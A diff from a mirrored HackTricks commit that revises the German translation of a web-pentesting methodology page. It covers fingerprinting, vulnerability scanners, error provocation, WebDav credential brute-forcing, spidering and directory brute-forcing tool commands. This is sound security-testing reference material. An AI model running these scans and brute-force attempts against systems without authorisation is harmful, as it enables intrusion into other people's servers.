maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/deserialization/basic-.net-deserializati

Browse Source
This commit is contained in:
Translator 2025-09-08 03:17:11 +00:00
parent 05b0fa6ea1
commit 794951198d
5 changed files with 502 additions and 257 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
src/SUMMARY.md
View File

@ -447,6 +447,7 @@
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@ -929,4 +930,3 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)

229
src/network-services-pentesting/pentesting-web/README.md
View File

@ -4,9 +4,9 @@
## Grundlegende Informationen
Der Webservice ist der **häufigste und umfangreichste Service** und es gibt viele **verschiedene Arten von Schwachstellen**.
Der Webservice ist der am **häufigsten und umfangreichsten genutzte Dienst**, und es existieren viele **verschiedene Arten von Schwachstellen**.
**Standardport:** 80 (HTTP), 443(HTTPS)
**Standard-Port:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,55 +17,55 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Leitfaden für Web-APIs
### Web-API-Leitfaden
{{#ref}}
web-api-pentesting.md
{{#endref}}
## Zusammenfassung der Methodik
## Methodologie-Zusammenfassung
> In dieser Methodik gehen wir davon aus, dass Sie eine Domain (oder Subdomain) und nur diese angreifen werden. Wenden Sie diese Methodik auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Scope an.
> In dieser Methodologie gehen wir davon aus, dass du eine Domain (oder Subdomain) und nur diese angreifst. Wende die Methodologie also auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem web server im Scope an.
- [ ] Beginnen Sie damit, die vom Webserver verwendeten **technologies** zu **identifying**. Achten Sie auf **tricks**, die Sie während des weiteren Tests beachten sollten, wenn Sie die Tech erfolgreich identifizieren können.
- [ ] Gibt es eine **known vulnerability** der Version der Technologie?
- [ ] Wird eine **well known tech** verwendet? Gibt es einen **useful trick**, um mehr Informationen zu extrahieren?
- [ ] Gibt es einen **specialised scanner** zum Ausführen (z. B. wpscan)?
- [ ] Setzen Sie **general purposes scanners** ein. Man weiß nie, ob sie etwas finden oder nützliche Informationen liefern.
- [ ] Beginnen Sie mit den **initial checks**: **robots**, **sitemap**, **404** error und **SSL/TLS scan** (if HTTPS).
- [ ] Start **spidering** der Webseite: Es ist Zeit, alle möglichen **files, folders** und **parameters being used** zu **finden**. Prüfen Sie auch auf **special findings**.
- [ ] _Hinweis: Jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, sollte es gespidert werden._
- [ ] **Directory Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um neue **files** und **directories** zu finden.
- [ ] _Hinweis: Jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, sollte es Brute-Forced werden._
- [ ] **Backups checking**: Prüfen Sie, ob Sie **backups** von **entdeckten files** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
- [ ] **Brute-Force parameters**: Versuchen Sie, **hidden parameters** zu finden.
- [ ] Sobald Sie alle möglichen **endpoints** identifiziert haben, die **user input** akzeptieren, prüfen Sie auf alle Arten von **vulnerabilities**, die damit zusammenhängen.
- [ ] [Folgen Sie dieser Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Beginne damit, die **Technologien** des web server zu **identifizieren**. Suche nach **Tricks**, die du während des weiteren Tests beachten solltest, falls du die Tech erfolgreich identifizieren kannst.
- [ ] Gibt es **bekannte Schwachstellen** der Version der Technologie?
- [ ] Wird eine **well known tech** verwendet? Irgendwelche **nützlichen Tricks**, um mehr Informationen zu extrahieren?
- [ ] Irgendein **specialised scanner** ausführen (wie wpscan)?
- [ ] Starte **general purposes scanners**. Man weiß nie, ob sie etwas finden oder interessante Informationen liefern.
- [ ] Beginne mit den **initial checks**: **robots**, **sitemap**, **404 error** und **SSL/TLS scan** (falls HTTPS).
- [ ] Starte mit dem **spidering** der Webseite: Jetzt ist es Zeit, alle möglichen **files, folders** und **parameters being used** zu **finden**. Prüfe auch auf **special findings**.
- [ ] _Beachte, dass jedes Mal, wenn während des Brute-Force oder Spiderings ein neues Verzeichnis entdeckt wird, dieses gespidert werden sollte._
- [ ] **Directory Brute-Forcing**: Versuche, alle entdeckten Ordner zu brute-forcen, um neue **files** und **directories** zu finden.
- [ ] _Beachte, dass jedes Mal, wenn während des Brute-Force oder Spiderings ein neues Verzeichnis entdeckt wird, dieses brute-forced werden sollte._
- [ ] **Backups checking**: Prüfe, ob du **backups** von **entdeckten Dateien** finden kannst, indem du gängige Backup-Erweiterungen anhängst.
- [ ] **Brute-Force parameters**: Versuche, **versteckte parameters** zu finden.
- [ ] Sobald du alle möglichen **endpoints** identifiziert hast, die **user input** akzeptieren, überprüfe sie auf alle Arten von damit zusammenhängenden **vulnerabilities**.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
## Server-Version (verwundbar?)
### Identify
### Identifizieren
Prüfen Sie, ob es **known vulnerabilities** für die laufende Server-**version** gibt.\
Die **HTTP headers and cookies of the response** können sehr nützlich sein, um die **technologies** und/oder die **version** zu **identify**. Ein **Nmap scan** kann die Server-Version identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) oder [**https://builtwith.com/**](https://builtwith.com)**:**
Prüfe, ob es **bekannte Schwachstellen** für die laufende Server-**Version** gibt.\
Die **HTTP-Header und Cookies der Response** können sehr nützlich sein, um die verwendeten **Technologien** und/oder die **Version** zu **identifizieren**. **Nmap scan** kann die Server-Version identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Suche **nach** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
Suche **nach** [**Schwachstellen der Webanwendung** **Version**](../../generic-hacking/search-exploits.md)
### **Prüfen, ob ein WAF vorhanden ist**
### **Prüfe, ob ein WAF vorhanden ist**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web-Technik-Tricks
### Web-Tech-Tricks
Einige **Tricks** für **finding vulnerabilities** in verschiedenen bekannten **Technologien**, die verwendet werden:
Einige **Tricks** zum **Aufspüren von Schwachstellen** in verschiedenen bekannten **Technologien**, die verwendet werden:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -100,28 +100,29 @@ Einige **Tricks** für **finding vulnerabilities** in verschiedenen bekannten **
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Beachte, dass die **gleiche Domain** in verschiedenen **Ports**, **Ordnern** und **Subdomains** unterschiedliche **Technologien** verwenden kann._\
Wenn die Webanwendung eine der zuvor genannten **Tech/Plattformen** oder **eine andere** verwendet, vergiss nicht, **im Internet nach neuen Tricks zu suchen** (und sag mir Bescheid!).
_Beachte, dass dieselbe **Domain** unterschiedliche **Technologien** auf verschiedenen **Ports**, in verschiedenen **Ordnern** und **Subdomains** verwenden kann._\
Wenn die Webanwendung eine der oben genannten bekannten **Tech/Plattformen** oder irgendeine andere nutzt, vergiss nicht, im Internet nach neuen Tricks zu **suchen** (und sag mir Bescheid!).
### Quellcode-Review
Wenn der **source code** der Anwendung in **github** verfügbar ist, gibt es neben der Durchführung eines **White-Box-Tests** der Anwendung einige Informationen, die für das aktuelle **Black-Box-Testing** nützlich sein könnten:
Wenn der **Quellcode** der Anwendung auf **github** verfügbar ist, gibt es neben einem eigenen **White box** Test der Anwendung einige **Informationen**, die für das aktuelle **Black-Box testing** nützlich sein könnten:
- Gibt es eine **Change-log or Readme or Version** Datei oder irgendetwas mit **version info accessible** über das Web?
- Wie und wo sind die **credentials** gespeichert? Gibt es eine (zugängliche?) **file** mit credentials (usernames oder passwords)?
- Sind **passwords** im **plain text**, **encrypted**, oder welcher **hashing algorithm** wird verwendet?
- Verwendet die Anwendung einen **master key** zum Verschlüsseln? Welcher **Algorithmus** wird eingesetzt?
- Kannst du durch Ausnutzung einer vulnerability auf **any of these files** zugreifen?
- Gibt es interessante Informationen im **github** (solved and not solved) in den **issues**? Oder im **commit history** (vielleicht wurde dort ein **password introduced inside an old commit**)?
- Gibt es eine **Change-log oder Readme oder Version** Datei oder irgendetwas mit **Version-Informationen**, das über das Web zugänglich ist?
- Wie und wo werden die **credentials** gespeichert? Gibt es irgendeine (zugängliche?) **Datei** mit credentials (Benutzernamen oder Passwörtern)?
- Sind **Passwörter** im **Plain-Text**, **verschlüsselt** oder welcher **Hashing-Algorithmus** wird verwendet?
- Verwendet es einen **Master Key** zur Verschlüsselung? Welcher **Algorithmus** wird verwendet?
- Kannst du auf eine dieser Dateien zugreifen, indem du eine Schwachstelle ausnutzt?
- Gibt es interessante Informationen in den **github** (gelöst und ungelöst) **issues**? Oder in der **commit history** (vielleicht wurde ein **Passwort** in einem alten Commit eingeführt)?
{{#ref}}
code-review-tools.md
{{#endref}}
### Automatic scanners
### Automatische Scanner
#### General purpose automatic scanners
#### Allgemeine automatische Scanner
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -135,12 +136,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS-Scanner
Wenn ein CMS verwendet wird, vergiss nicht, **einen Scanner auszuführen**, vielleicht wird etwas Interessantes gefunden:
Wenn ein CMS verwendet wird, vergiss nicht, **einen Scanner auszuführen**, vielleicht findet sich etwas Wertvolles:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** Websites auf Sicherheitsprobleme. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** auf Sicherheitsprobleme prüfen. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **oder** [**(M)oodle**](moodle.md)\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
@ -148,45 +149,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> An diesem Punkt solltest du bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten vorliegen) und einige Tricks, die du während des Tests beachten solltest. Wenn du Glück hast, hast du sogar ein CMS gefunden und einen Scanner ausgeführt.
> An diesem Punkt solltest du bereits einige Informationen über den vom Client genutzten Webserver haben (falls Daten vorliegen) und ein paar Tricks, die du während des Tests beachten solltest. Wenn du Glück hattest, hast du sogar ein CMS gefunden und einen Scanner laufen lassen.
## Schritt-für-Schritt Web Application Discovery
> Ab diesem Punkt werden wir anfangen, mit der Webanwendung zu interagieren.
> Ab diesem Punkt werden wir beginnen, mit der Webanwendung zu interagieren.
### Erste Checks
### Initial checks
**Standardseiten mit interessanten Informationen:**
**Default pages with interesting info:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Überprüfe auch Kommentare auf den Haupt- und Sekundärseiten.
- Check also comments in the main and secondary pages.
**Fehler provozieren**
**Fehler erzwingen**
Webserver können sich **unerwartet verhalten**, wenn ihnen ungewöhnliche Daten geschickt werden. Das kann **vulnerabilities** öffnen oder zur **Offenlegung sensibler Informationen** führen.
Webserver können sich **unerwartet verhalten**, wenn ungewöhnliche Daten an sie gesendet werden. Das kann zu **Schwachstellen** oder zur **Offenlegung sensibler Informationen** führen.
- Greife auf **fake pages** wie /whatever_fake.php (.aspx,.html,.etc) zu
- **Add "\[]", "]]", and "\[\["** in **cookie values** und **parameter** values, um Fehler zu erzeugen
- Erzeuge Fehler, indem du als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** verwendest
- Probiere **verschiedene HTTP Verbs** wie PATCH, DEBUG oder falsche wie FAKE
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
#### **Prüfe, ob du Dateien hochladen kannst (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Wenn du feststellst, dass **WebDav** aktiviert ist, du aber nicht genügend Berechtigungen zum **Hochladen von Dateien** im Root-Ordner hast, versuche:
If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
- **Brute Force** Zugangsdaten
- **Upload files** via WebDav in die **rest** der gefundenen Ordner innerhalb der Webseite. Möglicherweise hast du Berechtigungen, Dateien in anderen Ordnern hochzuladen.
- **Brute Force** credentials
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
### **SSL/TLS vulnerabilites**
### **SSL/TLS Schwachstellen**
- Wenn die Anwendung die Nutzung von **HTTPS** in keinem Bereich erzwingt, ist sie anfällig für **MitM**
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, dann ist das eine hohe **vulnerability**.
- Wenn die Anwendung **nirgends HTTPS erzwingt**, dann ist sie **anfällig für MitM**
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**. Dann ist das eine hohe Schwachstelle.
Verwende [**testssl.sh**](https://github.com/drwetter/testssl.sh) um auf **vulnerabilities** zu prüfen (In Bug Bounty programs werden diese Arten von Schwachstellen wahrscheinlich nicht akzeptiert) und verwende [**a2sv** ](https://github.com/hahwul/a2sv) um die vulnerabilities nachzuprüfen:
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **Schwachstellen** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -202,53 +203,53 @@ Information about SSL/TLS vulnerabilities:
### Spidering
Starte irgendeine Art von **spider** im Web. Das Ziel des spider ist es, **so viele Pfade wie möglich** der getesteten Anwendung zu **finden**. Daher sollten Web-Crawling-Tools und externe Quellen verwendet werden, um so viele valide Pfade wie möglich zu entdecken.
Starte eine Art **spider** innerhalb der Web-Anwendung. Das Ziel des spiders ist es, **so viele Pfade wie möglich** zur getesteten Anwendung zu **finden**. Deshalb sollten Web-Crawling und externe Quellen genutzt werden, um möglichst viele gültige Pfade zu ermitteln.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files und externe Quellen (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files und externe Quellen (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, mit LinkFider für JS files und Archive.org als externe Quelle.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, zeigt außerdem "juicy files" an.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI HTML spider. Sucht ebenfalls in Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein spider, kann aber nützlich sein. Du kannst eine Datei mit Hosts und eine Datei mit Pfaden angeben; meg holt dann jede Kombination und speichert die Antwort.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider mit JS-Rendering-Fähigkeiten. Sieht aber unmaintained aus; die vorkompilierte Version ist alt und der aktuelle Code kompiliert nicht.
- [**gau**](https://github.com/lc/gau) (go): HTML spider, der externe Provider nutzt (wayback, otx, commoncrawl).
- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein Spider, kann aber nützlich sein. Du gibst einfach eine Datei mit Hosts und eine Datei mit Pfaden an; meg holt dann jede Verbindung und speichert die Response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider mit JS-Rendering-Fähigkeiten. Sieht jedoch unmaintained aus; die vorcompilierte Version ist alt und der aktuelle Code kompiliert nicht.
- [**gau**](https://github.com/lc/gau) (go): HTML spider, der externe Provider verwendet (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Script findet URLs mit Parametern und listet sie auf.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider mit JS-Rendering-Fähigkeiten.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, mit JS-beautify-Fähigkeiten, der neue Pfade in JS files suchen kann. Es lohnt sich auch, einen Blick auf [JSScanner](https://github.com/dark-warlord14/JSScanner) zu werfen, ein Wrapper von LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Extrahiert Endpoints sowohl aus HTML-Quelltext als auch eingebetteten javascript files. Nützlich für bug hunter, red teamer, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein python 2.7 Script mit Tornado und JSBeautifier, um relative URLs aus JavaScript files zu parsen. Nützlich, um AJAX-Requests zu entdecken. Scheint unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Nimmt eine Datei (HTML) und extrahiert URLs mit cleveren RegEx, um relative URLs aus uglified/minified Dateien zu finden.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider mit JS-beautify-Fähigkeiten, fähig, neue Pfade in JS files zu suchen. Es lohnt sich auch, einen Blick auf [JSScanner](https://github.com/dark-warlord14/JSScanner) zu werfen, das ein Wrapper für LinkFinder ist.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Extrahiert Endpoints sowohl aus HTML-Source als auch eingebettetem JavaScript. Nützlich für Bug Hunter, Red Teamer, Infosec Ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7 Script mit Tornado und JSBeautifier, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich, um AJAX-Requests zu entdecken. Wirkt unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Nimmt eine Datei (HTML) und extrahiert URLs mit einem praktischen Regex, um relative URLs aus hässlichen (minified) Dateien zu ziehen.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS files mittels verschiedener Tools.
- [**subjs**](https://github.com/lc/subjs) (go): Findet JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die geladen wurden.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die zur Darstellung der Seite geladen werden.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content-Discovery-Tool, das mehrere Optionen der vorherigen Tools kombiniert.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Extension, um Pfade und Params in JS files zu finden.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das anhand der .js.map URL den beautified JS-Code beschafft.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ein Tool zum Aufdecken von Endpoints für ein gegebenes Ziel.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (auch Herunterladen der Antworten in der wayback und weitere Link-Suche).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlt (sogar durch Ausfüllen von Formularen) und findet außerdem sensitive Info mittels spezifischer Regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortgeschrittener, multifunktionaler GUI Web Security Crawler/Spider für Cyber-Security-Professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ein Go-Package und [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, secrets und anderen interessanten Daten aus JavaScript-Quellcode.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite extension**, um **die Parameter und Endpoints** aus Requests zu extrahieren und benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Super Tool für diesen Zweck.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Gibt jeden gefundenen Link aus.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp extension, um Pfade und Params in JS files zu finden.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das anhand der .js.map-URL den beautified JS-Code liefert.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ein Tool, um Endpoints für ein gegebenes Ziel zu entdecken.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (auch durch Ausfüllen von Formularen) und findet zudem sensitive Infos mittels spezifischer Regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multi-feature GUI web security Crawler/Spider für Cyber-Security-Professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ein Go-Package und [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Secrets und anderen interessanten Daten aus JavaScript-Source-Code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite extension**, um **Parameter und Endpoints zu extrahieren** aus Requests und damit custom wordlists für Fuzzing und Enumeration zu erstellen.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Gibt jeden Link aus, den es finden kann.
### Brute Force directories and files
Start **brute-forcing** from the root folder und stelle sicher, dass du **alle** mit **dieser Methode** gefundenen **Directories** sowie alle durch die **Spidering** entdeckten Verzeichnisse brute-forcest (du kannst das brute-forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
Beginne mit **brute-forcing** vom Root-Verzeichnis und stelle sicher, dass du **alle** mit dieser Methode gefundenen **Directories** sowie die während des **Spidering** entdeckten Verzeichnisse bruteforcest (du kannst das **brute-forcing** rekursiv durchführen und die Namen der gefundenen Verzeichnisse am Anfang der verwendeten Wordlist anhängen).\
Tools:
- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Unterstützt self-signed certificates und rekursive Suche. Im Vergleich zu den anderen Optionen zu langsam.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Erlaubt keine self-signed certificates, aber** rekursive Suche ist möglich.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Unterstützt self-signed certificates, hat aber **keine** **rekursive** Suche.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Schnell, unterstützt rekursive Suche.**
- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Unterstützt self-signed certificates und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Erlaubt keine self-signed certificates, unterstützt aber rekursive Suche.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Unterstützt self-signed certificates, hat aber keine **recursive** Suche.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Schnell: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Kein spider, aber ein Tool, das aus einer Liste gefundener URLs doppelte Einträge entfernt.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-Extension, um eine Liste von Verzeichnissen aus dem Burp-History verschiedener Seiten zu erstellen.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit doppelter Funktionalität (basierend auf js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Nutzt Wappalyzer, um eingesetzte Technologien zu erkennen und passende Wortlisten auszuwählen.
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Kein Spider, sondern ein Tool, das aus einer Liste gefundener URLs "duplikate" entfernt.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension, um aus dem Burp-History verschiedene Seiten eine Liste von Directories zu erzeugen.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit doppelter Funktionalität (basierend auf JS-Imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Verwendet Wappalyzer, um Technologien zu erkennen und passende Wordlists auszuwählen.
**Empfohlene Wortlisten:**
Empfohlene Wordlists:
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -267,41 +268,41 @@ Tools:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Beachte, dass jedes Mal wenn während des brute-forcing oder der spidering ein neues Verzeichnis entdeckt wird, dieses ebenfalls Brute-Forciert werden sollte._
_Beachte, dass jedes Mal, wenn während des brute-forcing oder Spidering ein neues Verzeichnis entdeckt wird, dieses ebenfalls Brute-Forced werden sollte._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **File Backups**: Sobald du alle Dateien gefunden hast, suche nach Backups aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Backup-Namensvariationen sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Du kannst auch die Tools [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.**
- **Discover new parameters**: Du kannst Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, solltest du versteckte Parameter in jeder ausführbaren Web-Datei suchen.**
- **File Backups**: Sobald du alle Dateien gefunden hast, suche nach Backups aller ausführbaren Dateien ("_.php_", "_.aspx_" ...). Übliche Varianten sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Du kannst auch die Tools [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) verwenden.
